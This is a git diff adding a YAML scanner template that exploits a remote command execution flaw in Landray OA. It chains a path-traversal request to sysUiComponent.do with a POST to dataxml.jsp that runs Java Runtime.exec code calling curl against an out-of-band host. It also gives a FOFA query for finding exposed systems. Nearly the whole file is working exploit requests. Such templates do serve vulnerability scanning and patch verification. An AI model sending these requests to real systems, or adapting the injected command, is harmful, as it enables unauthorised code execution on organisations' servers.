feat: expand internal network poc coverage

webscan/pocs/landray-dataxml-jsp-rce.yaml

@@ -0,0 +1,52 @@
+id: landray-dataxml-jsp-rce
+
+info:
+  name: 蓝凌OA dataxml.jsp 远程命令执行漏洞
+  author: avic123
+  severity: critical
+  verified: true
+  description: |-
+    蓝凌OA dataxml.jsp 存在远程命令执行漏洞
+    fofa: app="Landray-OA系统"
+  reference:
+    - https://cn-sec.com/archives/3026864.html
+  tags: Landray,ekp,rce
+  created: 2025/1/16
+
+set:
+  hostname: request.url.host
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/ui/sys_ui_component/sysUiComponent.do
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
+        X-Requested-With: XMLHttpRequest
+      body: |
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
+        Content-Disposition:form-data;name="method"
+
+        replaceExtend
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
+        Content-Disposition:form-data;name="extendId"
+
+        ../../../../resource/help/km/review/
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
+        Content-Disposition:form-data;name="folderName"
+
+        ../../../ekp/sys/common
+        ------WebKitFormBoundaryL7ILSpOdIhIIvL51--
+    expression: response.status == 200 && "1".bmatches(response.body)
+  r1:
+    request:
+      method: POST
+      path: /resource/help/kms/knowledge/dataxml.jsp
+      headers:
+        Content-Type: application/x-www-form-urlencoded
+      body: |
+        s_bean=ruleFormulaValidate&script=try {String cmd = "curl+{{oob.HTTP}}";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);}
+    expression: response.status == 200 && oobCheck(oob.ProtocolHTTP, 3)
+
+expression: r0() && r1()